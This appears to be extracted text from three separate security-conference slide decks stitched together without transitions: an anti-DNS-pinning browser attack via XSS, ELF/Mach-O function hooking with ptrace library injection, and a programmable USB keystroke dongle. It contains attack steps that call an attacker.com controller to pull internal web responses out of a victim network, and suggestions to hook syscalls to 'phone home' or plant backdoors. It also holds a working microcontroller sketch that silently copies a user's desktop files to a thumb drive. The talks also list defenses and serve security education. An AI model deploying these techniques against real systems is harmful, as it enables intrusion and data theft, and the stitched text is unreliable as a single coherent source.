Victim workstation Linux Server Windows Server Attack workstation XSS Infected Server 3. Every 1.5 seconds, JavaScript from the attack page appends a <SCRIPT> tag to the document body. The source is set to the controller script, with a command value indicating a poll http://12.0.0.51/cgi-bin/controller.pl?command=poll&sessionID=10 Attack Server Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server Attack workstation XSS Infected Server 4. On the first poll, the controller script records the session in the database, which allows the attacker to see it in the console Attack Server INSERT INTO sessions (sessionID, externalIP, lastPoll, firstPoll, proxyState) VALUES (?, ?, ?, ?, ?) Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Victim workstation Linux Server Windows Server Attack workstation XSS Infected Server 5. The controller script checks for new commands in the attack database. Any commands are sent back to the victim browser as JavaScript statements. Attack Server alert('I own you'); Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Victim workstation Windows Server XSS Infected Server 6. The attacker can probe the victim’s network using a number of well documented techniques. Attack Server Linux Server Attack workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 7. The attacker starts up an HTTP proxy server associated with the desired browser victim. Attack workstation Victim workstation Attack Server http://12.0.0.51/cgi-bin/controller.pl?command=startproxy&sessionid=10 Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 8. When the attacker sends a request to the HTTP proxy, the proxy checks to see if any requests have been sent out to that IP address on the same port. Attack workstation Victim workstation Attack Server http://10.0.0.30/ Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 9.If this is the first request, the proxy creates a random hostname and a DNS record pointing at the attack web server’s secondary IP address. Attack workstation Victim workstation Attack Server addrecord A fkduia.attacker.com 12.0.0.81 Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 10. The victim browser, polls the controller script and recieves a command to create a new iframe. Attack Server http://12.0.0.80/cgi-bin/controller.pl?command=poll&sessionid=10 Victim workstation Attack workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 11. The iframe source points to the random hostname and the controller script. Attack Server http://fkduia.attacker.com/cgi-bin/controller.pl? command=getproxyiframe&sessionid=10 Victim workstation Attack workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 12. Once the iframe loads on the victim browser, it notifies the attack web server with an image request. Attack Server http://12.0.0.80/cgi-bin/controller.pl?command=iframeloaded &sessionid=10&proxyid=3 Victim workstation Attack workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 13. The controller script adds a firewall rule to block the victim from reaching its secondary IP address, and then changes the DNS record to point at the targeted server. Attack Server iptables -A INPUT -p tcp –d 12.0.0.81/32 --dport 80 –j DROP addrecord A fkduia.attacker.com 10.0.0.30 Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 14. The iframe retrieves the next proxied HTTP request from the attack web server’s primary IP address. Attack Server http://12.0.0.80/cgi-bin/controller.pl?command=getnextrequest &sessionid=10&proxyid=3 Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 15. The iframe creates an XMLHTTPRequest object, pointing it at the supplied URL. The web browser attempts to connect to the cached IP address, but fails due to the firewall rule. Attack Server http://fkduia.attacker.com/cgi-bin/controller.pl? command=getnextrequest&sessionid=10&proxyid=3 Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 16. It continues to retry until it reaches its timeout threshold, then dumps its cache and requeries the attack DNS server. The DNS server responds with the targeted server IP address. Attack Server query fkduia.attacker.com response 10.0.0.30 Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Windows Server XSS Infected Server 17. The XMLHTTPRequest object in the iframe connects to the targeted web server, and issues the request. http://fkduia.attacker.com/ Attack workstation Victim workstation Attack Server Linux Server Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 18. The iframe sends a message to the controller script via image request, indicating that the firewall rule can be disabled. Attack Server http://12.0.0.80/cgi-bin/controller.pl?command=antipincomplete &sessionid=10&proxyid=3 Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 19. The HTTP response is put into form fields, and posted back to the controller script on the attack web server’s primary IP address. Attack Server POST http://12.0.0.80/cgi-bin/controller.pl command=postdata&sessionid=10&proxyid=3&response=<html><head>Internal... Attack workstation Victim workstation Corporate 10.0.0.0/24 Internet 12.0.0.0/24 Demonstration Sequence Linux Server Windows Server XSS Infected Server 20. The controller script inserts the response into the database. The proxy server sees the response and sends it back to the attacker’s browser Attack Server HTTP/1.1 200 OK Content-Type: text/html ... Victim workstation Attack workstation Anti-DNS Pinning Demonstration: JavaScript & XMLHTTPRequest Limitations & Techniques • Lack of host header control only allows access to the default website • HOST HEADERS ARE NOT SECURITY • REFERAL HEADERS ARE NOT SECURITY • Find a web server with secondary vulnerabilities • Complicated attacks like chunked encoding not possible • SQL Injection ideal • Tertiary flaw such as xp_cmdshell can be used to start more flexible and traditional tunneling • Java allows for more sophisticated techniques Java Security Refresher • Two kinds of applets: trusted & untrusted • Trusted are either digitally signed, or installed locally – Local file access – Process creation & termination – Unlimited network access (listen & connect) • Everything else is untrusted – No file access – No process management – Only outbound socket access to origin server LiveConnect • Origins in the Netscape Plugin Application Programming Interface (NPAPI) from Navigator 4.0 • Two way bridge between Java applets & JavaScript • JavaScript can instantiate Java objects • Java applets can access the HTML DOM of the host page • Supported by Firefox and Opera, but not IE Java & DNS Pinning • Sun’s JVM has its own DNS resolver and pinning logic and is not known to be vulnerable to standard attacks • Martin Johns & Kanatoko documented that if JavaScript creates a Java socket object back to the document’s origin server, the JVM will immediately query DNS • If the attacker has already changed the DNS record for the origin server, the JVM will connect the socket to any IP address • Improvements over XMLHTTPRequest – No delay caused by DNS cache timeouts – Direct socket access removes HTTP host header limitation – Both text and binary protocols possible – Full TCP & UDP support by Java classes – Limited ICMP support – Huge potential: Telnet, SSH, SNMP, database protocols, SMB, etc Java-based Attack Demonstration • Very similar to JavaScript technique • SOCKS proxy for the attacker instead of HTTP • Hummingbird generic SOCKS client used by the attacker • No need for firewall, or delay in DNS changes • Uses java.nio.channels.SocketChannel • Socket reads & writes handled asynchronously with separate JavaScript execution paths (pseudo- threads) • Port scanning easy and fast Anti-DNS Pinning Demonstration: Java & LiveConnect Defense – Browser Pinning • Most obvious is to change browser to permanently pin their cache • Won’t address browser-restart attacks • Won’t stop attacks using browser plug-ins – Java – Flash (Has limited socket functions, but doesn’t use any DNS pinning) – ActiveX controls – Plenty more niche plug-ins • Unused when HTTP proxy servers are used – DNS pinning on a proxy server impractical – If firewall filters are bad, proxies can be used to target web servers at the very least. Probably any TCP protocol with the CONNECT command Defense – Browser Security Policies • Increased granularity of IE security zones (XMLHTTPRequest) • NoScript can provide some benefit on Firefox, but offers little granularity • Add security zones to Firefox Defense – Other Ideas • Completely disabling JavaScript isn’t practical at most companies; disabling Java applets may be possible • Security gateways can filter web content, heavy administration overhead • LocalRodeo – Justus Winter and Martin Johns wrote a Firefox add-on to address JavaScript security – Detects and blocks IP address changes in the browser’s DNS cache – Still experimental / beta – Doesn’t address other plug-ins or proxy servers Defense – More Internal Attention • Running code that is anonymously downloaded from the Internet may get safer, but will never be safe • Other techniques exist to bypass perimeter firewalls • Most companies have a hard, crunchy shell, with a soft, juicy center • Don’t rely solely on network firewalls & NIDS • More advanced techniques – Harden all servers, not just the ones in the DMZ – Network segmentation; don’t allow John Doe in the call center to SSH into a router. Does he even need Internet & email access? – Use strong protocols whenever possible: SSH, SSL, IPSec – Application firewalls – If you have a surplus of money; NIPS, HIPS, WIDS, etc Questions References http://www.mozilla.org/projects/security/components/same- origin.html http://www.ietf.org/rfc/rfc2616.txt, section 15.3 http://viper.haque.net/~timeless/blog/11/ http://shampoo.antville.org/stories/1451301/ http://msdn2.microsoft.com/en-us/library/ms175046.aspx http://www.cgisecurity.com/lib/XmlHTTPRequest.shtml https://bugzilla.mozilla.org/show_bug.cgi?id=297078 https://bugzilla.mozilla.org/show_bug.cgi?id=302263 http://www.w3.org/TR/html401/present/frames.html#h-16.5 http://www.w3.org/TR/XMLHttpRequest/ http://msdn2.microsoft.com/en-us/library/ms535874.aspx http://developer.mozilla.org/en/docs/XMLHttpRequest http://mgran.blogspot.com/2006/08/downloading-binary-streams- with.html http://www.gnucitizen.org/projects/backframe/ http://www.bobbyvandersluis.com/articles/dynamicCSS.php http://www.irt.org/articles/js065/ http://java.sun.com/sfaq/ http://shampoo.antville.org/stories/1566124/ http://developer.mozilla.org/en/docs/LiveConnect http://java.sun.com/products/plugin/1.3/docs/jsobject.html http://java.sun.com/j2se/1.5.0/docs/api/java/net/DatagramSocket .html http://java.sun.com/j2se/1.5.0/docs/api/java/net/Socket.html http://java.sun.com/j2se/1.5.0/docs/api/java/net/InetAddress.html #isReachable(int) http://tools.ietf.org/html/rfc1928 http://www.hummingbird.com/products/nc/socks/index.html http://developer.mozilla.org/en/docs/DOM:window.setTimeout http://developer.mozilla.org/en/docs/DOM:window.setInterval http://www.jumperz.net/index.php?i=2&a=3&b=3 http://www.adobe.com/support/flash/action_scripts/actionscript_ dictionary/actionscript_dictionary867.html http://www.mozilla.org/projects/security/components/ConfigPolic y.html http://noscript.net/ http://databasement.net/labs/localrodeo/
pdf
function hooking for osx and linux joe damato @joedamato timetobleed.com slides are on timetobleed.com (free jmpesp) i’m not a security researcher. call me a script kiddie: @joedamato laughinglarry.com slayerinc.com dbgrady.files.wordpress.com assembly is in att syntax WTF is an ABI ? WTF is an Application Binary Interface ? alignment thomasgroup.com calling convention arianlim.wordpress.com object file and library formats tandemfs.org hierarchy of specs topatoco.com System V ABI (271 pages) System V ABI AMD64 Architecture Processor Supplement (128 pages) System V ABI Intel386 Architecture Processor Supplement (377 pages) MIPS, ARM, PPC, and IA-64 too! mac osx x86-64 calling convention based on System V ABI AMD64 Architecture ! ! ! Processor Supplement gregs-wines.com alignment thomasgroup.com end of argument area must be aligned on a 16byte boundary. and $0xfffffffffffffff0, %rsp calling convention arianlim.wordpress.com • function arguments from left to right live in: %rdi, %rsi, %rdx, %rcx, %r8, %r9 • that’s for INTEGER class items. • Other stuff gets passed on the stack (like on i386). • registers are either caller or callee saved object file and library formats tandemfs.org steverubel.typepad.com ELF Objects en.wikipedia.org ELF Objects • ELF objects have headers • elf header (describes the elf object) • program headers (describes segments) • section headers (describes sections) • libelf is useful for wandering the elf object extracting information. • the executable and each .so has its own set of data ELF Object sections • .text - code lives here • .plt - stub code that helps to “resolve” absolute function addresses. • .got.plt - absolute function addresses; used by .plt entries. • .debug_info - debugging information • .gnu_debuglink - checksum and filename for debug info ELF Object sections • .dynsym - maps exported symbol names to offsets • .dynstr - stores exported symbol name strings • .symtab - maps symbol names to offsets • .strtab - symbol name strings • more sections for other stuff. vanachteren.net Mach-O Objects developer.apple.com Mach-O Objects • Mach-O objects have load commands • header (describes the mach-o object) • load commands (describe layout and linkage info) • segment commands (describes sections) • dyld(3) describes some apis for touching mach-o objects • the executable and each dylib/bundle has its own set of data Mach-O sections • __text - code lives here • __symbol_stub1 - list of jmpq instructions for runtime dynamic linking • __stub_helper - stub code that helps to “resolve” absolute function addresses. • __la_symbol_ptr - absolute function addresses; used by symbol stub Mach-O sections • symtabs do not live in a segment, they have their own load commands. • LC_SYMTAB - holds offsets for symbol table and string table. • LC_DYSYMTAB - a list of 32bit offsets into LC_SYMTAB for dynamic symbols. blog.makezine.com nm 000000000048ac90 t Balloc 0000000000491270 T Init_Array 0000000000497520 T Init_Bignum 000000000041dc80 T Init_Binding 000000000049d9b0 T Init_Comparable 000000000049de30 T Init_Dir 00000000004a1080 T Init_Enumerable 00000000004a3720 T Init_Enumerator 00000000004a4f30 T Init_Exception 000000000042c2d0 T Init_File 0000000000434b90 T Init_GC % nm /usr/bin/ruby symbol “value” symbol names objdump % objdump -D /usr/bin/ruby offsets opcodes instructions helpful metadata readelf % readelf -a /usr/bin/ruby This is a *tiny* subset of the data available otool % otool -l /usr/bin/ruby This is a *tiny* subset of the data available nerve.com strip • You can strip out whatever sections you want.... • but your binary may not run. • you need to leave the dynamic symbol/ string tables intact or dynamic linking will not work. bassfishin.com Calling functions callq *%rbx callq 0xdeadbeef other ways, too... anatomy of a call 412d16: e8 c1 36 02 00 callq 4363dc # <a_function> 412d1b: ..... address of this instruction call opcode 32bit displacement to the target function from the next instruction. (objdump output) anatomy of a call 412d16: e8 c1 36 02 00 callq 4363dc # <a_function> 412d1b: ..... 412d1b = 4363dc + 000236c1 (x86 is little endian) (objdump output) Hook a_function Overwrite the displacement so that all calls to a_function actually call a different function instead. It may look like this: int other_function() { /* do something good/bad */ /* be sure to call a_function! */ return a_function(); } codez are easy /* CHILL, it’s fucking psuedo code */ while (are_moar_bytes()) { curr_ins = next_ins; next_ins = get_next_ins(); if (curr_ins->type == INSN_CALL) { if ((hook_me - next_ins) == curr_ins->displacement) { /* found a call hook_me!*/ rewrite(curr_ins->displacement, (replacement_fn - next_ins)); return 0; } } } ... right?..... lemur.com 32bit displacement • overwriting an existing call with another call • stack will be aligned • args are good to go • can’t redirect to code that is outside of: • [rip + 32bit displacement] • you can scan the address space looking for an available page with mmap, though... Doesn’t work for all calling a function that is exported by a dynamic library works differently. How runtime dynamic linking works (elf) 0x7ffff7afd6e6 .got.plt entry How runtime dynamic linking works (elf) 0x7ffff7afd6e6 .got.plt entry Initially, the .got.plt entry contains the address of the instruction after the jmp. How runtime dynamic linking works (elf) 0x7ffff7afd6e6 .got.plt entry An ID is stored and the rtld is invoked. How runtime dynamic linking works (elf) 0x7ffff7b34ac0 .got.plt entry rtld writes the address of rb_newobj to the .got.plt entry. How runtime dynamic linking works (elf) 0x7ffff7b34ac0 .got.plt entry rtld writes the address of rb_newobj to the .got.plt entry. calls to the PLT entry jump immediately to rb_newobj now that .got.plt is filled in. rs.tacklewarehouse.com Hook the GOT Redirect execution by overwriting all the .got.plt entries for rb_newobj in each DSO with a handler function instead. 0xdeadbeef .got.plt entry VALUE other_function() { new_obj = rb_newobj(); /* do something with new_obj */ return new_obj; } Hook the GOT NO, it isn’t. other_function() lives in it’s own DSO, so its calls to rb_newobj() use the .plt/.got.plt in its own DSO. As long as we leave other_function()‘s DSO unmodified, we’ll avoid an infinite loop. WAIT... other_function() calls rb_newobj() isn’t that an infinite loop? vanachteren.net tlaneve.files.wordpress.com elf mach-o me what else is left? inline functions. add_freelist • Can’t hook because add_freelist is inlined: static inline void add_freelist(p) RVALUE *p; { p->as.free.flags = 0; p->as.free.next = freelist; freelist = p; } • The compiler has the option of inserting the instructions of this function directly into the callers. • If this happens, you won’t see any calls. So... what now? • Look carefully at the code: static inline void add_freelist(p) RVALUE *p; { p->as.free.flags = 0; p->as.free.next = freelist; freelist = p; } • Notice that freelist gets updated. • freelist has file level scope. • hmmmm...... A (stupid) crazy idea • freelist has file level scope and lives at some static address. • add_freelist updates freelist, so... • Why not search the binary for mov instructions that have freelist as the target! • Overwrite that mov instruction with a call to our code! • But... we have a problem. • The system isn’t ready for a call instruction. alignment thomasgroup.com calling convention arianlim.wordpress.com Isn’t ready? What? • The 64bit ABI says that the stack must be aligned to a 16byte boundary after any/all arguments have been arranged. • Since the overwrite is just some random mov, no way to guarantee that the stack is aligned. • If we just plop in a call instruction, we won’t be able to arrange for arguments to get put in the right registers. • So now what? jmp • Can use a jmp instruction. • Transfer execution to an assembly stub generated at runtime. • recreate the overwritten instruction • set the system up to call a function • do something good/bad • jmp back when done to resume execution picasaweb.google.com/lh/photo/-R3BPlqOq8MfQGFTduIqCA checklist • save and restore caller/callee saved registers. • align the stack. • recreate what was overwritten. • arrange for any arguments your replacement function needs to end up in registers. • invoke your code. • resume execution as if nothing happened. this instruction updates the freelist and comes from add_freelist: Can’t overwrite it with a call instruction because the state of the system is not ready for a function call. The jmp instruction and its offset are 5 bytes wide. Can’t grow or shrink the binary, so insert 2 one byte NOPs. address of assembly stub this instruction updates the freelist and comes from add_freelist: Can’t overwrite it with a call instruction because the state of the system is not ready for a function call. The jmp instruction and its offset are 5 bytes wide. Can’t grow or shrink the binary, so insert 2 one byte NOPs. must jump back here shortened assembly stub shortened assembly stub void handler(VALUE freed_object) { mark_object_freed(freed_object); return; } and it actually works. gem install memprof http://github.com/ice799/memprof listverse.files.wordpress.com Sample Output require 'memprof' Memprof.start require "stringio" StringIO.new Memprof.stats 108 /custom/ree/lib/ruby/1.8/x86_64-linux/stringio.so:0:__node__ 14 test2.rb:3:String 2 /custom/ree/lib/ruby/1.8/x86_64-linux/stringio.so:0:Class 1 test2.rb:4:StringIO 1 test2.rb:4:String 1 test2.rb:3:Array 1 /custom/ree/lib/ruby/1.8/x86_64-linux/stringio.so:0:Enumerable a web-based heap visualizer and leak analyzer memprof.com memprof.com a web-based heap visualizer and leak analyzer a web-based heap visualizer and leak analyzer memprof.com memprof.com a web-based heap visualizer and leak analyzer memprof.com a web-based heap visualizer and leak analyzer memprof.com a web-based heap visualizer and leak analyzer community.devexpress.com config.middleware.use(Memprof::Tracer) { "time": 4.3442, "rails": { "controller": "test", "action": "index" }, "request": { "REQUEST_PATH": "/test,, "REQUEST_METHOD": "GET" }, total time for request rails controller/action request env info "mysql": { "queries": 3, "time": 0.00109302 }, "gc": { "calls": 8, "time": 2.04925 }, config.middleware.use(Memprof::Tracer) 8 calls to GC 2 secs spent in GC 3 mysql queries "objects": { "created": 3911103, "types": { "none": 1168831, "object": 1127, "float": 627, "string": 1334637, "array": 609313, "hash": 3676, "match": 70211 } } } config.middleware.use(Memprof::Tracer) 3 million objs created lots of strings lots of arrays regexp matches object instances 1 million method calls smiley-faces.org mindfulsecurity.com evil lives http://github.com/ice799/memprof/tree/dnw • makes ruby faster!11!!1 • hooks read syscall • looks for magic cookie (JOE) • turns off GC • Ruby is fast. it makes ruby faster!!1! look a bullshit benchmark! it makes ruby faster!!1! #NORMAL RUBY!!!!11!! [joe@mawu:/Users/joe/code/defcon/memprof/ext]% ab -c 10 -n 200 http://blah: 4567/hi/JOE Benchmarking blah (be patient) Completed 100 requests Completed 200 requests Finished 200 requests Concurrency Level: 10 Time taken for tests: 7.462 seconds Complete requests: 200 Failed requests: 0 Write errors: 0 Requests per second: 26.80 [#/sec] (mean) Time per request: 373.108 [ms] (mean) Time per request: 37.311 [ms] (mean, across all concurrent requests) it makes ruby faster!!1! # fast0r RUBY!!!11!111 [joe@mawu:/Users/joe/code/defcon]% ab -c 10 -n 200 http://blah:4567/hi/JOE Benchmarking blah (be patient) Completed 100 requests Completed 200 requests Finished 200 requests Concurrency Level: 10 Time taken for tests: 6.594 seconds Complete requests: 200 Failed requests: 0 Write errors: 0 Requests per second: 30.33 [#/sec] (mean) Time per request: 329.708 [ms] (mean) Time per request: 32.971 [ms] (mean, across all concurrent requests) you can do anything • this example is stupid, but you can do anything. • hook read/write and phone home with data. • fork a backdoor when a specific cookie is seen • whatever break.com zanyvideos.com injectso • written by Shaun Clowes • injects libraries into running processes using ptrace(2). • super clever hack! hockeydrunk.com injecting live processes • ptrace(2) • allows you to view and modify the register set and address space of another process • permissions on memory are ignored fucking injectso, how does it work? • attach to target process using ptrace • save a copy of a small piece of the program stack. • save a copy of the register set • create a fake stack frame with a saved return address of 0 fucking injectso, how does it work? • set register set to point at dlopen • rip = &dlopen • rdi = dso name • rsi = mode • let er rip, waitpid and it’ll segfault on return to 0. • restore stack, register set, resume as normal. ptrace evil dso • remote allocating memory is a pain in the ass. • generating segfaults in running processes might be bad (core dumps, etc). • binary patching is hard, doing it with ptrace is harder. • getting the user to use your library might be hard. • already running processes will need to be killed first. • need to poison each time app is started. • binary patching is hard. realmofraven.com combine ‘em • use injectso hack to load an evil dso • evil dso will take it from there 64bit injectso port • ported by Stealth • http://c-skills.blogspot.com/2007/05/ injectso.html • i did some trivial cleanup and put the codez on github • http://github.com/ice799/injectso64 • tested it on 64bit ubuntu VM, works. injectso + evil-binary-patching-dso customdynamics.com customdynamics.com buycostumes.com emeraldinsight.com how to defend against it • NX bit - call mprotect • strip debug information - mostly prebuilt binaries • statically link everything - extremely large binaries • put all .text code in ROM - maybe? • don’t load DSOs at runtime - no plugins, though • disable ptrace - no gdb/strace. • check /proc/<pid>/maps - word. slashgear.com my future research: exploring alternative binary formats. slayerinc.com globalhealthandfitness.com alignment thomasgroup.com calling convention arianlim.wordpress.com object file and library formats tandemfs.org questions? joe damato @joedamato timetobleed.com http://timetobleed.com/string-together-global-offset-tables-to-build-a-ruby-memory-profiler/ http://timetobleed.com/hot-patching-inlined-functions-with-x86_64-asm-metaprogramming/ http://timetobleed.com/rewrite-your-ruby-vm-at-runtime-to-hot-patch-useful-features/ http://timetobleed.com/dynamic-linking-elf-vs-mach-o/ http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/ tallteacher.files.wordpress.com “Interesting Behavior of OS X” • Steven Edwards ([email protected]) • november 29 2007 • http://www.winehq.org/pipermail/wine- devel/2007-November/060846.html leopard has a pe loader? handle = dlopen("./procexp.exe", RTLD_NOW | RTLD_FIRST ); steven-edwardss-imac:temp sedwards$ ./a.out dlopen(./procexp.exe, 258): Library not loaded: WS2_32.dll Referenced from: /Users/sedwards/Library/Application Support/CrossOver/Bottles/winetest/drive_c/windows/temp/ procexp.exe Reason: image not found cfs2.tistory.com
pdf
http://Irongeek.com Adrian Crenshaw Project site: http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle http://Irongeek.com  Tenacity Solutions http://www.tenacitysolutions.net/  Kentuckiana ISSA http://www.issa-kentuckiana.org/  PJRC http://www.pjrc.com/ http://Irongeek.com  I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m just a geek with time on my hands http://Irongeek.com  I was given a device called a Phantom Keystroker as a speaker’s gift for doing a FireSide talk at Shmoocon 2010  The Keystroker was meant to annoy someone by sending keystrokes and mouse movements to their computer  But, what if it was programmable? http://Irongeek.com  Darren Kitchen (media mogul) and Robin Wood (code deity)  I knew Darren had been working with the U3 thumb drives for automated attacks, so I went to him with the idea  Devious minds think alike! They were already developing it!  They are working on a product (USB Rubber Ducky): http://www.hak5.org/store Darren Kitchen http://hak5.org Robin Wood http://digininja.org http://Irongeek.com  For those that like to “Go ugly early”, hold on for the rest of this presentation  Three notes in my defense: 1. I’m new to microcontrollers 2. I suck at soldering (Like an epileptic alcoholic with DTs soldering with an aluminum baseball bat) 3. I apparently suck at using rotary tools too http://Irongeek.com  Likely types faster than you can, without errors  Works even if U3 autorun is turned off  Draws less attention than sitting down in front of the terminal would. The person turns their head for a minute, the pen-tester plugs in their programmable USB key stroke dongle, and Bobs your uncle, instant pwnage.  Can also be set to go off on a timer when you know a target will be logged in  Just use your imagination! http://Irongeek.com  Add a user  Run a program  Copy files to your thumbdrive for later retrieval  Upload local files  Download and install apps  Go to a website they have a cookie for, and do a sort of CSRF (sic) http://Irongeek.com  Embed a hub and storage in better packaging http://www.dealextreme.com/details.dx/sku.2704~r.48687660  Leave it around in a thumb drive package for unsuspecting people to pick up and use  Trojaned Hardware: Use a timer or sensor and embed it in another device you give to the target as a “gift“  Have it “wake up”, mount onboard storage, run a program that covers what it is doing (fake BSOD for example), does its thing, then stops (leaving the target to think “it’s just one of those things”)  Default BIOs password brute forcing? http://Irongeek.com  MintyPwn?  DIPStick?  Programmable Hid USB Keyboard/Mouse Dongle?  Maybe an acronym? Let’s see: Programmable Hid USB Keyboard/Mouse Dongle? = PHUKD http://Irongeek.com  Did some Googling…  Found some limited items…  Then I found… http://Irongeek.com  Teensy 2.0 is 1.2 by 0.7 inch  AVR processor, 16 MHz  Programmable over Mini USB in C or Arduino dev package  $18 to $27  USB HID Support!!!  http://www.pjrc.com/teensy/ http://Irongeek.com Specification Teensy 2.0 Teensy++ 2.0 Processor ATMEGA32U4 AT90USB1286 Flash Memory 32256 130048 RAM Memory 2560 8192 EEPROM 1024 4096 I/O 25 46 Analog In 12 8 PWM 7 9 UART,I2C,SPI 1,1,1 1,1,1 Price $18 $24 http://Irongeek.com USB Connector Common Ground DIP Switches 10K Ω Resistor Photoresistor that is above 10K Ω in the dark, and less than 10K Ω in the light Please note that the Teensy can use internal pullup resistors http://Irongeek.com #include <phukdlib.h> // Header Section //You will want to change the pins below to match your board. int thispin; int ledPin = 11; int PhotoRead = 0; //Here, but not used. int MinWait = 0; int DIP_1 = 5; int DIP_2 = 6; int DIP_3 = 7; int DIP_4 = 8; char *DIPOptions= "Dips are used to set number of mins to wait"; void setup() { // initialize the digital pin as an output: for (int thispin=4; thispin <=8;thispin++){ pinMode(thispin, INPUT_PULLUP); // Dip } MinWait =(!digitalRead(DIP_1)) * 8 + (!digitalRead(DIP_2)) * 4 + (!digitalRead(DIP_3)) * 2 + (!digitalRead(DIP_4)); if (MinWait==0){ MinWait=1; } } // the loop() method runs over and over again, checking for events void loop() { //Please note: I use negative logic here, when a pin goes to ground the code us run. delay(MinWait*60000); CommandAtRunBarMSWIN("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"MYTHUMB\"') do %i\\myscript.bat"); /* myscript.bat contains: md %~dp0%USERNAME% xcopy /Y /E %USERPROFILE%\desktop\*.* %~dp0%USERNAME% */ delay(1000); ShrinkCurWinMSWIN(); MinWait =(!digitalRead(DIP_1)) * 8 + (!digitalRead(DIP_2)) * 4 + (!digitalRead(DIP_3)) * 2 + (!digitalRead(DIP_4)); if (MinWait==0){ MinWait=1; } } http://Irongeek.com #include <phukdlib.h> // Header Section //You will want to change the pins below to match your board. int thispin; int ledPin = 11; int PhotoRead = 0; //Here, but not used. int MinWait = 0; int DIP_1 = 5; int DIP_2 = 6; int DIP_3 = 7; int DIP_4 = 8; char *DIPOptions= "Dips are used to set number of mins to wait"; http://Irongeek.com void setup() { // initialize the digital pin as an output: for (int thispin=4; thispin <=8;thispin++){ pinMode(thispin, INPUT_PULLUP); // Dip } MinWait =(!digitalRead(DIP_1)) * 8 + (!digitalRead(DIP_2)) * 4 + (!digitalRead(DIP_3)) * 2 + (!digitalRead(DIP_4)); if (MinWait==0){ MinWait=1; } } http://Irongeek.com // the loop() method runs over and over again, checking for events void loop() { //Please note: I use negative logic here, when a pin goes to ground the code us run. delay(MinWait*60000); CommandAtRunBarMSWIN("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"MYTHUMB\"') do %i\\myscript.bat"); /* myscript.bat contains: md %~dp0%USERNAME% xcopy /Y /E %USERPROFILE%\desktop\*.* %~dp0%USERNAME% */ delay(1000); ShrinkCurWinMSWIN(); MinWait =(!digitalRead(DIP_1)) * 8 + (!digitalRead(DIP_2)) * 4 + (!digitalRead(DIP_3)) * 2 + (!digitalRead(DIP_4)); if (MinWait==0){ MinWait=1; } } http://Irongeek.com  CommandAtRunBarX(char *SomeCommand) Opens a run bar/terminal and executes the given command.  ShrinkCurWinX() Shrinks the active window to help hide it.  PressAndRelease(int KeyCode, int KeyCount) This function simplifies the pressing and releasing of a key. You can also specify how many times to hit the key (really useful for tabbing to where you need to be on web sites). http://Irongeek.com  ShowDiag() Just sends diagnostic info out the keyboard interface. Things like the reading on analog pin 0, and the state of each input. Should work on both types of Teensy, but I've not done a lot of testing.  DIPOptions Not really a function, but a string you can set in your sketch that ShowDiag will print out. I kept forgetting which DIP switch I had set to run which function, so I use this as a reminder at runtime. http://Irongeek.com  int ledkeys(void) ledkeys returns the setting of the "lock keys“ Num Lock = 1 CAPS Lock = 2 Scroll Lock = 4 Add them together to get combos.  boolean IsNumbOn(void) Returns TRUE if NUM Lock LED is on and FALSE otherwise.  boolean IsCapsOn(void) Returns TRUE if Caps Lock LED is on and FALSE otherwise.  boolean IsScrlOn(void) Returns TRUE if Scroll Lock LED is on and FALSE otherwise. http://Irongeek.com Powershell...omfg  David Kennedy (ReL1K) Hacker  Josh Kelley (Winfang) Hacker http://Irongeek.com http://Irongeek.com http://Irongeek.com http://Irongeek.com http://Irongeek.com http://Irongeek.com http://Irongeek.com Materials for making cube toy Trojans:  ShapeLock Heat in boiling water, shape as you wish. Beware of a hot day in a black car. Good for defusing LEDs/Lasers  Two Part Silicone Putty Great stuff for casting toys  Silicone Caulk Mixed with water, quickly applied and used with a plastic wrap backing  Polymer Clay Sort of the reverse of ShapeLock, heat causes it to harden  Hot Glue Limited use in molding, but is great for defusing LEDs/Lasers  Fishing Lures Fun to melt and cast. http://Irongeek.com http://Irongeek.com On Windows 7/Vista look at the following GPO options: Computer Configuration->Administrative Templates->System->Device Instillation- >Device Instillation Restrictions http://technet.microsoft.com/es-es/library/cc753539%28WS.10%29.aspx http://Irongeek.com [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Grou p Policy Objects\{EA879B20-EDB8-4FBB-972D- DDD85F5D90AA}Machine\Software\Policies\Microsoft\Windows\DeviceInst all\Restrictions] "DenyRemovableDevices"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Grou p Policy Objects\{EA879B20-EDB8-4FBB-972D- DDD85F5D90AA}Machine\Software\Policies\Microsoft\Windows\DeviceInst all\Restrictions\DeniedPolicy] "SimpleText"="Disabled because Adrian Said So!!!" If device was inserted when policy is in place, 